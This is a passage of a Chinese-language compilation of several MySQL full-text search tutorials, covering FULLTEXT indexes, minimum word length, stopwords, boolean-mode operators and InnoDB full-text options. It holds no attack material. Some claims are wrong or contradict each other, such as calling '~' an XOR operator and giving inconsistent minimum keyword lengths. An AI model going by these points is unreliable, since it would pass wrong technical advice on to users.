vs. YourSQL In the following database comparison ... 1 MySQL Tutorial DBMS stands for DataBase ...    说明全文匹配时忽略大小写。   4. 可能遇到的困扰    到目前为止都很顺利,但是如果检索SQL改为下面会怎样呢? SELECT * FROM articles WHERE MATCH (title,body) AGAINST ('well');    结果让人大跌眼镜,开始我也困惑了许久,后来去网上查了下才知道原来是这么回事: mysql指定了最小字符长度,默认是4,必须要匹配大于4的才会有返回结果,可以用SHOW VARIABLES LIKE 'ft_min_word_len' 来查看指定的字符长度,也可以在mysql配置文件my.ini 更改最小字符长度,方法是在my.ini 增加一行 比如:ft_min_word_len = 2,改完后重启mysql即可。    所以上面不能返回结果。但是我用上面的方法改配置文件并重启MySQL服务器后,再用show命令查看,并没有改变。    另外,MySQL还会计算一个词的权值,以决定是否出现在结果集中,具体如下: mysql在集和查询中的对每个合适的词都会先计算它们的权重,一个出现在多个文档中的词将有较低的权重(可能甚至有一个零权重),因为在这个特定的集中,它有较低的语义值。否则,如果词是较少的,它将得到一个较高的权重,mysql默认的阀值是50%,上面‘you’在每个文档都出现,因此是100%,只有低于50%的才会出现在结果集中。    但是如果不考虑权重,那么该怎么办呢?MySQL提供了布尔全文检索(BOOLEAN FULLTEXT SEARCH)    假设well在所有记录中都出现,并且ft_min_word_len已经改为2,那么下面的SQL检索语句得到的结果集将包含所有记录:   SELECT * FROM articles WHERE MATCH (title,body) AGAINST ('well' IN BOOLEAN MODE );     5. 布尔全文检索语法    上面通过IN BOOLEAN MODE指定全文检索模式为布尔全文检索。MySQL还提供了一些类似我们平时使用搜索引擎时用到的的语法:逻辑与、逻辑或、逻辑非等。具体通过几个SQL语句例子来说明 SELECT * FROM articles WHERE MATCH (title,body) AGAINST ('+apple -banana' IN BOOLEAN MODE);    + 表示AND,即必须包含。- 表示NOT,即不包含。 SELECT * FROM articles WHERE MATCH (title,body) AGAINST ('apple banana' IN BOOLEAN MODE);    apple和banana之间是空格,空格表示OR,即至少包含apple、banana中的一个。 SELECT * FROM articles WHERE MATCH (title,body) AGAINST ('+apple banana' IN BOOLEAN MODE);    必须包含apple,但是如果同时也包含banana则会获得更高的权重。 SELECT * FROM articles WHERE MATCH (title,body) AGAINST ('+apple ~banana' IN BOOLEAN MODE);    ~ 是我们熟悉的异或运算符。返回的记录必须包含apple,但是如果同时也包含banana会降低权重。但是它没有 +apple -banana 严格,因为后者如果包含banana压根就不返回。 SELECT * FROM articles WHERE MATCH (title,body) AGAINST ('+apple +(>banana <orange)' IN BOOLEAN MODE);    返回同时包含apple和banana或者同时包含apple和orange的记录。但是同时包含apple和banana的记录的权重高于同时包含apple和orange的记录。   6. MySQL不支持中文的全文检索    默认MySQL不支持中文全文检索,怎么办?大致方法有下面几个:    A. 扩展MySQL,添加中文全文检索支持,难度较大    B. 为中文内容表提供一个对应的英文索引表(即将FULLTEXT索引列按照一定的规则转化成英文索引表中的每一条记录,比如全部进行base64编码,内容表和英文索引表的id相同),检索时先将检索词也用相同规则转换成英文,然后再使用。如果还要支持按拼音全文检索,那么还需要在索引表中增加对应的拼音内容(就需要中文转拼音算法了)。当然如果还需要支持中英文交互搜索,比如搜索William时也需要返回威廉,反之亦然,那么还需要将威廉对应的英文翻译也存到索引表中去。    参考网上的链接,具体做法包括先对中文内容进行分词,然后中文转换为四位区位码存到索引表中。检索时,包含中文的检索词也要先分词,再转换为四位区位码,然后在索引表中进行全文检索。   7. 核对条目    A. 只有存储引擎类型为MyISAM类型的表,并且MySQL版本为4.X或者以上才能使用MySQL内置的全文检索支持    B. MySQL全文检索默认不支持中文,且对英文检索时忽略大小写    C. MySQL全文检索时,默认检索长度为4,即关键词的长度必须大于5才能被捕获    D. MySQL全文检索时,所有FULLTEXT索引列必须使用相同的字符集    E. MySQL全文检索返回结果集时还会考虑权重    F. MySQL全文检索还支持灵活的布尔全文检索模式    G. 更多内容参考MySQL5官方手册   参考链接:    http://viralpatel.net/blogs/2009/04/full-text-search-using-mysql-full-text-search-capabilities.html    http://hi.baidu.com/gogogo/blog/item/28b16c81b3bc87d6bc3e1eb7.html    http://dev.mysql.com/doc/refman/5.1/zh/functions.html#fulltext-query-expansion    http://www.chinahtml.com/0702/mysql-117187149111362.html    http://www.phpx.com/happy/viewthread.php?tid=124691 一、设置全文索引: 添加:ALTER TABLE table_name ADD FULLTEXT ( column); 删除:DROP INDEX index_name ON table_name; 注:mysql5.6版本以下只有myisam存储引擎支持全文索引,mysql5.6以上版本myisam和innodb都支持全文索引,两者性能有兴趣了可以比较一下。 二、搜索语句: SELECT * FROM table_name WHERE MATCH(index_name) AGAINST(‘搜索值’); 多词请用逗号或空格分开:SELECT * FROM table_name WHERE MATCH(index_name) AGAINST(‘a,b’); 到这里基本已经可以使用了,但是有时候在搜索单个字符时候没有结果,这时候需要修改一下全文索引关键词长度设置了。 注:当个别词的出现频率超过50%时,被认作无效词,可以改为AGAINST (‘高频词’ IN BOOLEAN MODE)。 三、修改配置: 找到mysql.ini,在在 [mysqld] 位置添加:ft_min_word_len=1 重启mysql服务。 查看mysql环境变量:show variables;就可以看到设置的结果了  注: 1.全文索引的字段类型必须为:char,varchar,text 。 2.对于中文全文索引,必须先把字段值做好中文分词,每个关键词之间用“ ,”“ ”分开,不然即使全文索引还是无效,谁让这些都是老外开发的呢(英文单词之间都是空格,妥妥的),但是中文分词可以借助其他一些开源程序来做,比如:coreseek,附上下载地址:http://www.coreseek.cn/news/7/52/ 3.有人说将中文转成拼音,然后进行搜索,或许是一个好的方法,可以试一下。 在MYSQL中使用全文索引(FULLTEXT index) MYSQL的一个很有用的特性是使用全文索引(FULLTEXT index)查找文本的能力.目前只有使用MyISAM类型表的时候有效(MyISAM是默认的表类型,如果你不知道使用的是什么类型的表,那很可能就是 MyISAM).全文索引可以建立在TEXT,CHAR或者VARCHAR类型的字段,或者字段组合上.我们将建立一个简单的表用来解释各种特性.简单用法(MATCH()函数)对3.23.23以后的版本有效,复杂的用法(IN BOOLEAN MODE修饰语)对4以后的版本有效,本文的第一部分着重简单用法,第二部分讲复杂用法.一个简单的表 我们将在整个过程中使用下面的表.CREATE TABLE fulltext_sample(copy TEXT,FULLTEXT(copy)) TYPE=MyISAM; 如果你没有把默认的表类型设置成MyISAM以外的类型那么TYPE=MyISAM可以省略.建表之后,向其中填充一些数据,例如:INSERT INTO fulltext_sample VALUES('It appears good from here'),('The here and the past'),('Why are we hear'),('An all-out alert'),('All you need is love'),('A good alert'); 如果你已经建立好了一个表,你可以使用ALTER TABLE(就像CREATE INDEX语句一样)语句添加一个全文索引,例如:ALTER TABLE fulltext_sample ADD FULLTEXT(copy) 查找文本 全文索引搜索的语法很简单,你只要MATCH字段,AGAINST你要查找的文本,例如:mysql> SELECT * FROM fulltext_sample WHERE MATCH(copy) AGAINST('love');+----------------------+| copy |+----------------------+| All you need is love |+----------------------+ 在全文索引上进行搜索是不区分大小写的,因此下面的语句也可以正常运行:mysql> SELECT * FROM fulltext_sample WHERE MATCH(copy) AGAINST('LOVE');+----------------------+| copy |+----------------------+| All you need is love |+----------------------+ 全文索引通常用来搜索自然语言文本,例如报纸文章,网页内容等等.因此MySQL为这类搜索添加了很多特性.MySQL不索引任何长度小于等于3的文本, 也不索引有50%机会出现的单词.这意味着如果你的表少于2条记录,基于全文索引的搜索不会返回任何东西.将来,MySQL会使这项功能更灵活,但是现在 它应该可以适合大部分自然语言的使用.如果你的数据库中的大部分记录都包含”music”,你很可能不希望返回这些记录,你可以使用IN BOOLEAN MODE修饰符来获得50%左右的阀值,见本文第二部分.结果将按照关联性从高到底的顺序返回.主要特性 下面是标准的全文索引搜索的主要特性:1.排除重复词语2.排除长度小于4的词语3.排除在多于一半记录中出现的词语(就是说只要要有3条记录)4.带连字符的词语被认为两个词语5.结果按照关联度降序返回6.忽略列表中的词语也被从搜索结果中排除.忽略列表基于普通的英文单词,因此如果你的数据用作不同的目的,你可能希望改变忽略列表.不幸的是,这样作并 不容易.你需要编辑文件myisam/ft_static.c,重新编辑MySQL,并重建索引!这里有一个忽略列表.注意,这些在不同的版本里有所更 改.忽略列表"a", "a's", "able", "about", "above", "according", "accordingly", "across", "actually", "after", "afterwards", "again", "against", "ain't", "all", "allow", "allows", "almost", "alone", "along", "already", "also", "although", "always", "am", "among", "amongst", "an", "and", "another", "any", "anybody", "anyhow", "anyone", "anything", "anyway", "anyways", "anywhere", "apart", "appear", "appreciate", "appropriate", "are", "aren't", "around", "as", "aside", "ask", "asking", "associated", "at", "available", "away", "awfully", "b", "be", "became", "because", "become", "becomes", "becoming", "been", "before", "beforehand", "behind", "being", "believe", "below", "beside", "besides", "best", "better", "between", "beyond", "both", "brief", "but", "by", "c", "c'mon", "c's", "came", "can", "can't", "cannot", "cant", "cause", "causes", "certain", "certainly", "changes", "clearly", "co", "com", "come", "comes", "concerning", "consequently", "consider", "considering", "contain", "containing", "contains", "corresponding", "could", "couldn't", "course", "currently", "d", "definitely", "described", "despite", "did", "didn't", "different", "do", "does", "doesn't", "doing", "don't", "done", "down", "downwards", "during", "e", "each", "edu", "eg", "eight", "either", "else", "elsewhere", "enough", "entirely", "especially", "et", "etc", "even", "ever", "every", "everybody", "everyone", "everything", "everywhere", "ex", "exactly", "example", "except", "f", "far", "few", "fifth", "first", "five", "followed", "following", "follows", "for", "former", "formerly", "forth", "four", "from", "further", "furthermore", "g", "get", "gets", "getting", "given", "gives", "go", "goes", "going", "gone", "got", "gotten", "greetings", "h", "had", "hadn't", "happens", "hardly", "has", "hasn't", "have", "haven't", "having", "he", "he's", "hello", "help", "hence", "her", "here", "here's", "hereafter", "hereby", "herein", "hereupon", "hers", "herself", "hi", "him", "himself", "his", "hither", "hopefully", "how", "howbeit", "however", "i", "i'd", "i'll", "i'm", "i've", "ie", "if", "ignored", "immediate", "in", "inasmuch", "inc", "indeed", "indicate", "indicated", "indicates", "inner", "insofar", "instead", "into", "inward", "is", "isn't", "it", "it'd", "it'll", "it's", "its", "itself", "j", "just", "k", "keep", "keeps", "kept", "know", "knows", "known", "l", "last", "lately", "later", "latter", "latterly", "least", "less", "lest", "let", "let's", "like", "liked", "likely", "little", "look", "looking", "looks", "ltd", "m", "mainly", "many", "may", "maybe", "me", "mean", "meanwhile", "merely", "might", "more", "moreover", "most", "mostly", "much", "must", "my", "myself", "n", "name", "namely", "nd", "near", "nearly", "necessary", "need", "needs", "neither", "never", "nevertheless", "new", "next", "nine", "no", "nobody", "non", "none", "noone", "nor", "normally", "not", "nothing", "novel", "now", "nowhere", "o", "obviously", "of", "off", "often", "oh", "ok", "okay", "old", "on", "once", "one", "ones", "only", "onto", "or", "other", "others", "otherwise", "ought", "our", "ours", "ourselves", "out", "outside", "over", "overall", "own", "p", "particular", "particularly", "per", "perhaps", "placed", "please", "plus", "possible", "presumably", "probably", "provides", "q", "que", "quite", "qv", "r", "rather", "rd", "re", "really", "reasonably", "regarding", "regardless", "regards", "relatively", "respectively", "right", "s", "said", "same", "saw", "say", "saying", "says", "second", "secondly", "see", "seeing", "seem", "seemed", "seeming", "seems", "seen", "self", "selves", "sensible", "sent", "serious", "seriously", "seven", "several", "shall", "she", "should", "shouldn't", "since", "six", "so", "some", "somebody", "somehow", "someone", "something", "sometime", "sometimes", "somewhat", "somewhere", "soon", "sorry", "specified", "specify", "specifying", "still", "sub", "such", "sup", "sure", "t", "t's", "take", "taken", "tell", "tends", "th", "than", "thank", "thanks", "thanx", "that", "that's", "thats", "the", "their", "theirs", "them", "themselves", "then", "thence", "there", "there's", "thereafter", "thereby", "therefore", "therein", "theres", "thereupon", "these", "they", "they'd", "they'll", "they're", "they've", "think", "third", "this", "thorough", "thoroughly", "those", "though", "three", "through", "throughout", "thru", "thus", "to", "together", "too", "took", "toward", "towards", "tried", "tries", "truly", "try", "trying", "twice", "two", "u", "un", "under", "unfortunately", "unless", "unlikely", "until", "unto", "up", "upon", "us", "use", "used", "useful", "uses", "using", "usually", "v", "value", "various", "very", "via", "viz", "vs", "w", "want", "wants", "was", "wasn't", "way", "we", "we'd", "we'll", "we're", "we've", "welcome", "well", "went", "were", "weren't", "what", "what's", "whatever", "when", "whence", "whenever", "where", "where's", "whereafter", "whereas", "whereby", "wherein", "whereupon", "wherever", "whether", "which", "while", "whither", "who", "who's", "whoever", "whole", "whom", "whose", "why", "will", "willing", "wish", "with", "within", "without", "won't", "wonder", "would", "would", "wouldn't", "x", "y", "yes", "yet", "you", "you'd", "you'll", "you're", "you've", "your", "yours", "yourself", "yourselves", "z", "zero", 让我们看一下其中的一些词.如果你懒的输入,但是想查找”love”这个词,象下面这样:mysql> SELECT * FROM fulltext_sample WHERE MATCH(copy) AGAINST('lov');Empty set (0.00 sec) 什么都没返回,因为全文索引只包含完整的单词,不是部分单词.如果想得到返回,你必须把单词写完整,就像第一个例子里一样.就像我们提过的,连字符单词在全文索引中被排除(它们被作为单独的单词索引),因此下面的语句什么都不返回:mysql> SELECT * FROM fulltext_sample WHERE MATCH(copy) AGAINST('all-out');Empty set (0.00 sec) 很不幸,两个单词都小于4个字符,因此单独搜索时也不会出现,而且通常的搜索中也不会出现.本文的第二部分中使用BOOLEAN MODE搜索可以搜索部分的或者包含连字符的单词.你也可以一次搜索多个单词,用逗号分隔.下面的例子查找包含”here”和”appears”的记录:mysql> SELECT * FROM fulltext_sample WHERE MATCH(copy) AGAINST('here','appears');Empty set (0.01 sec) 出乎意料这个语句没有返回.但是仔细看看忽略列表,这个词被列在其中,因此被从索引中排除了.忽略列表可能是人们解释MySQL全文索引没有生效的通常原因.如果你的查询返回了一个结果,那么你的版本的MySQL的忽略列表不包含”here”这个词.关联度 下面的例子说明记录返回的优先级mysql> SELECT * FROM fulltext_sample WHERE MATCH(copy) AGAINST('good,alert');+---------------------------+| copy |+---------------------------+| A good alert || It appears good from here || An all-out alert |+---------------------------+ 记录”A good alert”首先出现,因为它同时包含要搜索的两个词.你不必相信我-只需要看看MySQL在结果中显示的优先级.简单的在字段列表中重复MATCH()函数,例如:mysql> SELECT copy,MATCH(copy) AGAINST('good,alert') AS relevanceFROM fulltext_sample WHERE MATCH(copy) AGAINST('good,alert');+---------------------------+------------------+| copy | relevance |+---------------------------+------------------+| A good alert | 1.3551264824316 || An all-out alert | 0.68526663197496 || It appears good from hear | 0.67003110026735 |+---------------------------+------------------+ 关联度的计算非常复杂,它基于索引中单词的数量,记录中不同单词的个数,索引和返回结果中单词的总数,以及单词的重要程度.这个数字可能在你的MySQL版本中有所不同,MySQL偶尔会强化计算逻辑.对大多数应用来说标准的全文索引搜索非常有用而充分,MySQL 4让它更加强大. [原文地址:http://blog.csdn.net/zyz511919766/article/details/12780173] 1.概要 InnoDB引擎对FULLTEXT索引的支持是MySQL5.6新引入的特性,之前只有MyISAM引擎支持FULLTEXT索引。对于FULLTEXT索引的内容可以使用MATCH()…AGAINST语法进行查询。 为了在InnoDB驱动的表中使用FULLTEXT索引MySQL5.6引入了一些新的配置选项和INFORMATION_SCHEMA表。比如,为了监视一个FULLTEXT索引中文本处理过程的某一方面可以查询INNODB_FT_CONFIG,INNODB_FT_INDEX_TABLE,INNODB_FT_INDEX_CACHE,INNODB_FT_DEFAULT_STOPWORD,INNODB_FT_DELETED和INNODB_FT_BEING_DELETED这些表。可以通过innodb_ft_num_word_optimize和innodb_optimize_fulltext_only选项控制OPTIMIZETABLE命令对InnoDB FULLTEXT索引的更新。 2.相关库表 INFORMATION_SCHEMA库中与InnoDB全文索引相关的表如下: INNODB_SYS_INDEXES INNODB_SYS_TABLES  INNODB_FT_CONFIG INNODB_FT_INDEX_TABLE INNODB_FT_INDEX_CACHE INNODB_FT_DEFAULT_STOPWORD INNODB_FT_DELETED INNODB_FT_BEING_DELETED ? INNODB_SYS_INDEXES:提供了InnoDB索引的状态信息。 ? INNODB_SYS_TABLES:提供了InnoDB表的状态信息。 ? INNODB_FT_CONFIG:显示一个InnoDB表的FULLTEXT索引及其相关处理的元数据。 ? INNODB_FT_INDEX_TABLE:转化后的索引信息用于处理基于InnoDB表FULLTEXT索引的文本搜索。一般用于调试诊断目的。使用该表前需先配置innodb_ft_aux_table配置选项,将其指定为想要查看的含FULLTEXT索引的InnoDB表,选项值的格式为database_name/table_name。配置了该选项后INNODB_FT_INDEX_TABLE,INNODB_FT_INDEX_CACHE, INNODB_FT_CONFIG, INNODB_FT_DELETED和INNODB_FT_BEING_DELETED表将被填充与innodb_ft_aux_table配置选项指定的表关联的搜索索引相关信息。 ? INNODB_FT_INDEX_CACHE:向含FULLTEXT索引的InnoDB表插入数据后新插入数据转后的索引信息。表结构与INNODB_FT_INDEX_TABLE一致。为含FULLTEXT索引的InnoDB表执行DML操作期间重组索引开销很大,因此将新插入的被索引的词单独存储于该表中,当且仅当为InnoDB表执行OPTIMIZE TABLE语句后才将新的转换后的索引信息与原有的主索引信息合并。使用该表前需先配置innodb_ft_aux_table配置选项。 ? INNODB_FT_DEFAULT_STOPWORD:在InnoDB表上创建FULLTEXT索引所使用的默认停止字表。 ? INNODB_FT_DELETED:记录了从InnoDB表FULLTEXT索引中删除的行。为了避免为InnoDB的FULLTEXT索引执行DML操作期间重组索引的高开销,新删除的词的信息单独存储于此表。当且仅当为此InnoDB表执行了OPTIMIZE TABLE操作后才会从主搜索索引中移除已删除的词信息。使用该表前需先配置innodb_ft_aux_table选项。 ? INNODB_FT_BEING_DELETED:为含FULLTEXT索引的InnoDB表执行OPTIMIZE TABLE操作时会根据INNODB_FT_DELETED表中记录的文档ID从InnoDB表的FULLTEXT索引中删除相应的索引信息。而INNOFB_FT_BEING_DELETED表用于记录正在被删除的信息,用于监控和调试目的。 3.相关配置选项 Name Cmd-Line Option file System Var Status Var Scope Dynamic innodb_ft_aux_table Yes Yes Yes   Global Yes innodb_ft_cache_size Yes Yes Yes   Global No innodb_ft_enable_diag_print Yes Yes Yes   Global Yes innodb_ft_enable_stopword Yes Yes Yes   Global Yes innodb_ft_max_token_size Yes Yes Yes   Global No innodb_ft_min_token_size Yes Yes Yes   Global No innodb_ft_num_word_optimize Yes Yes Yes   Global Yes innodb_ft_server_stopword_table Yes Yes Yes   Global Yes innodb_ft_sort_pll_degree Yes Yes Yes   Global No innodb_ft_user_stopword_table Yes Yes Yes   Both Yes innodb_optimize_fulltext_only Yes Yes Yes   Global Yes ? innodb_ft_aux_table:指定包含FULLTEXT索引的InnoDB表的的名称。该变量在运行时设置用于诊断目的。设置该值后INNODB_FT_INDEX_TABLE, INNODB_FT_INDEX_CACHE, INNODB_FT_CONFIG,INNODB_FT_DELETED和INNODB_FT_BEING_DELETED表将被填充与innodb_ft_aux_table指定的表关联的搜索索引相关信息。 ? innodb_ft_cache_size:当创建一个InnoDB FULLTEXT索引时在内存中存储已解析文档的缓存大小。 ? innodb_ft_enable_diag_print:是否开启额外的全文搜索诊断输出。 ? innodb_ft_enable_stopword:是否开启停止字。InnoDB FUllTEXT索引被创建时为其指定一个关联的停止字集。(若设置了innodb_ft_user_stopword_table则停止字由该选项指定的表获取,若没有设置innodb_ft_user_stopword_table而设置了innodb_ft_server_stopword_table则停止字由该选项指定的表获取,否则使用内置的停止字。) ? innodb_ft_max_token_size:存储在InnoDB的FULLTEXT索引中的最大词长。设置这样一个限制后可通过忽略过长的关键字等有效降低索引大小从而加速查询。 ? innodb_ft_min_token_size:存储在InnoDB的FULLTEXT索引中的最小词长。增加该值后会忽略掉一些通用的没有显著意义的词汇从而降低索引大小继而加速查询。 ? innodb_ft_num_word_optimize:为InnoDB FULLTEXT索引执行OPTIMIZE操作每次所处理的词数。因为在含有全文搜索索引的表中执行批量的插入或更新操作需要大量的索引维护操作来合并所有的变化。因此,一般会运行一系列OPTIMIZE TABLE语句,每次从上一次的位置开始,处理指定数目的词,知道搜索索引被完全更新。 ? innodb_ft_server_stopword_table:含有停止字的表,在创建InnoDB FULLTEXT索引时或忽略表中的停止字。停止字表需为InnoDB表,且在指定前应当已存在。 ? innodb_ft_sort_pll_degree:为较大的表构建搜索索引时用于索引和记号化文本的并行线程数。 ? innodb_ft_user_stopword_table:含有停止字的表,在创建InnoDB FULLTEXT索引时或忽略表中的停止字。停止字表需为InnoDB表,且在指定前应当已存在。 ? innodb_optimize_fulltext_only:改变OPTIMIZE TABLE语句对InnoDB表操作的方式。对含FULLTEXT 索引的InnoDB表进行维护操作期间,一般临时的开启该选项。默认情况下,OPTIMIZE TABLE语句会重组表的聚集索引中的数据。若开启了该选项则该语句会跳过表数据的重组,而是只处理FULLTEXT索引中新插入的、删除的、更新的标记数据。(在对作为FULLTEXT索引的一部分的InnoDB表列进行了大量的插入、更新或删除操作后,先将innodb_optimize_fulltext_only设置为on以改变OPTIMIZE TABLE的默认行为,然后设置innodb_ft_num_word_optimize为合适的值以将索引维护时间控制在一个合理的可接受范围内,最后执行一系列的OPTIMIZE语句知道搜索索引被完全更新。) 4.全文搜索功能 全文搜索的语法:MATCH(col1,col2,…) AGAINST (expr[search_modifier])。其中MATCH中的内容为已建立FULLTEXT索引并要从中查找数据的列,AGAINST中的expr为要查找的文本内容,search_modifier为可选搜索类型。search_modifier的可能取值有:IN NATURAL LANGUAGEMODE、IN NATURAL LANGUAGE MODE WITH QUERY EXPANSION、IN BOOLEAN MODE、WITH QUERY EXPANSION。search_modifier的每个取值代表一种类型的全文搜索,分别为自然语言全文搜索、带查询扩展的自然语言全文搜索、布尔全文搜索、查询扩展全文搜索(默认使用IN NATURAL LANGUAGE MODE)。 MySQL中全文索引的关键字为FULLTEXT,目前可对MyISAM表和InnoDB表的CHAR、VARCHAR、TEXT类型的列创建全文索引。全文索引同其他索引一样,可在创建表是由CREATE TABLE语句创建也可以在表创建之后用ALTER TABLE或者CREATE INDEX命令创建(对于要导入大量数据的表先导入数据再创建FULLTEXT索引比先创建索引后导入数据会更快)。 4.1自然语言全文搜索 自然语言全文搜索是MySQL全文搜索的默认搜索方式,实现从一个文本集合中搜索给定的字符串。这里,文本集合指的是指由FULLTEXT索引的一个或者多个列。 建表,并给title,body字段加FULLTEXT索引 CREATE TABLE articles (      id INT UNSIGNED AUTO_INCREMENT NOT NULL PRIMARY KEY,      title VARCHAR(200),      body TEXT,      FULLTEXT (title,body) ) ENGINE=InnoDB; 导入数据 INSERT INTO articles (title,body) VALUES    ('MySQL Tutorial','DBMS stands for DataBase ...'),    ('How To Use MySQL Well','After you went through a ...'),    ('Optimizing MySQL','In this tutorial we will show ...'),    ('1001 MySQL Tricks','1. Never run mysqld as root. 2. ...'),    ('MySQL vs. YourSQL','In the following database comparison ...'),    ('MySQL Security','When configured properly, MySQL ...'); 例1: SELECT * FROM articles WHERE MATCH (title,body) AGAINST ('database' IN NATURAL LANGUAGE MODE); 可以看到,语句查找到了包含指定内容的行。实际上,返回的行是按与所查找内容的相关度由高到低的顺序排列的。这个相关度的值由WHERE语句中的MATCH (…) AGAINST (…)计算所得,是一个非负浮点数。该值越大表明相应的行与所查找的内容越相关,0值表明不相关。该值基于行中的单词数、行中不重复的单词数、文本集合中总单词数以及含特定单词的行数计算得出。 例2: 由上例可知MATCH (…) AGAINST (…)实际上会计算一个相关值,可通过下例来验证。 SELECT id, MATCH (title,body) AGAINST ('Tutorial' IN NATURAL LANGUAGE MODE) AS score FROM articles; 可以看到,所得结果的第二列即为改行与查找内容的相关度。上例1中所得结果的顺序就是按此相关度排列的。 例3: 若想既看到查找到的结果又需要了解具体的相关度,可用下述方法达成。 SELECT id, body, MATCH (title,body) AGAINST    ('Security implications of running MySQL as root'    IN NATURAL LANGUAGE MODE) AS score    FROM articles WHERE MATCH (title,body) AGAINST    ('Security implications of running MySQL as root' IN NATURAL LANGUAGE MODE); 可以看到,通过在查找部分和条件部分分别使用相同的MATCH(…) AGAINST(…)可以同时获取两方面的内容(不会增加额外开销,优化器知道两个MATCH(…) AGAINST(..)是相同的,只会执行一次该语句) 注意事项 默认情况下全文搜索大小写不敏感,如上例1,查找的内容为‘database’但含有‘DataBase’的行也会返回。可以通过为FULLTEXT索引列所使用的字符集指定一个特定的校对集来改变这种行为。 考虑下述两个SELECT语句: 1.  SELECTCOUNT(*) FROM articles             WHEREMATCH (title,body)             AGAINST('database' IN NATURAL LANGUAGE MODE); 2.  SELECTCOUNT(IF(MATCH (title,body) AGAINST('database' IN NATURAL LANGUAGE MODE), 1, NULL)) AS count             FROMarticles; 这两条查询语句均可返回匹配的行数。但第一条语句可以利用基于WHERE从句的索引查找,因此在匹配的行数较少时速度较第二句更快。第二句执行了全表扫描,因此在匹配的行数较多时较第一句更快。 MATCH()函数中的列必须与FULLTEXT索引中的列相同。如MATCH(title,body)与FULLTEXT(title,body)。若要单独搜索某列,如body列,则需另外单独为该列建全文索引FULLTEXT(body),然后用MATCH(body)搜索。 对于InnoDB表MATCH()中的列仅能来自于同一个表,因为索引不能快多张表(MyISAM表的的布尔搜索因为可以不使用索引所以可以跨多张表中的列,但速度很慢)。 全文搜索不仅可以搜索类似例1中‘database’这样的单个的单词,还可以搜索句子(这才是其被称为‘全文搜索‘的关键),如例3。全文搜索把任何数字、字母、下划线序列看作是单词,还可以包含“’”如aaa’bbb备解析为一个单词,但aaa’’bbb备解析为两个单词,FULLTEXT解析器自动移除首尾的“’”,如’aaa’bbb’被解析为aaa’bbb。FULLTEXT解析器用“ ”(空格)、“,”(逗号)“.”(点号)作为默认的单词分隔符,因此对于不使用这些分隔符的语言如汉语来说FULLTEXT解析器不能正确的识别单词,对于这种情况需做额外处理。 全文搜索中一些单词会被忽略。首先是过短的单词,InnoDB全文搜索中默认为3个字符,MyISAM默认4个字符,可通过在创建FULLTEXT索引前改变配置参数来改变默认行为,对于InnoDB该参数为:innodb_ft_min_token_size,对于MyISAM为ft_min_word_len;另外stopword列表中的单词会被忽略。stopword列表包含诸如“the”、“or”、“and”等常用单词,这些词通常被认为没有什么语义价值。MySQL由内建的停止字列表,但是可以所使用自定义的停止字列表来覆盖默认列表。对于InnoDB控制停止字的配置参数为innodb_ft_enable_stopword,innodb_ft_server_stopword_table,  innodb_ft_user_stopword_table对于MyISAM参数为ft_stopword_file。 文本集合和查询语句中的单词的权重由该单词在集合或语句中的重要性确定。单词在越多的行中出现则该单词的权重越低,因为这表明其在文本集合中的语义价值较小。反之权重越高。例1中提到的相关度计算也与此值有关。 4.2布尔全文搜索 如果在AAGAINST()函数中指定了INBOOLEN MODE模式,则MySQL会执行布尔全文搜索。在该搜索模式下,待搜索单词前或后的一些特定字符会有特殊的含义。 例1: SELECT * FROM articles WHERE MATCH (title,body) AGAINST ('+MySQL-YourSQL' IN BOOLEAN MODE); 该查询语句中“MySQL”前的“+”表明结果中必须包含“MySQL”而“YourSQL”前的“-”表明所得结果中不能含有“YourSQL”。 除了“+”和“-”外还有其他一些特定的字符。如空字符表明后跟的单词是可选的,但出现的话会增加该行的相关性;“@distance”用于指定两个或多个单词相互之间的距离(以单词度量)需在指定的范围内;“>”用于增加后跟单词对其所在行的相关性的贡献“<”用于降低该贡献;“()”用于将单词分组为子表达式且可以嵌套;“~”是后跟单词对其所在行的相关性的贡献值为负;“*”为普通的通配符,若为单词指定了通配符,那么即使该单词过短或者出现在了停止字列表中它也不会被移除;“””,括在双引号中的短语指明行必须在字面上包含指定的短语,全文搜索将短语分割为词后在FULLTEXT索引中搜索。非字字符无需完全匹配,如”test phrase”可以匹配含”test phrase”和”test phrase”的行,但匹配含”phrase test”的行。 例2: SELECT * FROM articles WHERE MATCH (title,body) AGAINST ('MySQL YourSQL' IN BOOLEAN MODE); 找到包含MySQL或者YourSQL的行 例3: SELECT * FROM articles WHERE MATCH (title,body) AGAINST ('+MySQL+YourSQL' IN BOOLEAN MODE); 找到包含同时MySQL和YourSQL的行 例4: SELECT * FROM articles WHERE MATCH (title,body) AGAINST ('+MySQL YourSQL' IN BOOLEAN MODE); 找到必须包含MySQl的行,YourSQL可有可无,但有YourSQL会增加相关性。 例5: SELECT * FROM articles WHERE MATCH (title,body) AGAINST ('+MySQL ~YourSQL' INBOOLEAN MODE); 找到包含必须包含MySQL的行,YourSQL可有可无,若出现了YourSQL则会降低其所在行的相关性。 例6: SELECT * FROM articles WHERE MATCH (title,body) AGAINST ('+MySQL +(>Security <Optimizing)' IN BOOLEANMODE); 找到必须同时包含MySQL以及Security或Optimizing的行Security会增加所在行的相关性,而Optimizing会降低所在行的相关性。 例7: SELECT * FROM articles WHERE MATCH (title,body) AGAINST ('da*' IN BOOLEAN MODE); 找到包含da*的行。如包含DataBase、database等。 例8: SELECT * FROM articles WHERE MATCH (title,body) AGAINST('"MySQL,Tutorial"' IN BOOLEAN MODE); 找到包含“MySQL Tutorial”短语的行。 布尔全文搜索的一些特点 ? MyISAM全文搜索会忽略至少在一半以上数据行中出现的单词(也即所谓的50%阈值),InnoDB无此限制。而在布尔全文搜索中MyISAM的50%阈值不生效。 ? 停止字列表也适用于布尔全文搜索。 ? 最小和最大词长全文搜索参数也适用于布尔全文搜索 ? MyISAM中的布尔搜索在FULLTEXT索引不存在的时候仍可工作,但速度很慢。而InnoDB表的各类全文搜索必须有FULLTEXT索引,否则会出现找不到与指定列相匹配的FULLTEXT索引的错误 ? InnoDB中的全文搜索不支持在单一搜索单词前使用多个操作符如“++MySQL”。MyISAM中全文搜索可以处理这种情况,但是会忽略除了紧邻单词之外的其他操作符。 4.3查询扩展全文搜索 某些时候我们通过全文搜索来查找包含某方面内容的行,比如我们搜索“database”,实际上我们期望返回结果不仅仅是仅包含“database”单词的行,一些包含“MySQL”、“SQLServer”、“Oracle”、“DB2”、“RDBMS”等的行也期望被返回。这个时候查询扩展全文搜索就能大显身手。 通过在AGAINST()函数中指定WITHQUERY EXPANSION 或者IN NATURAL MODE WITH QUERY 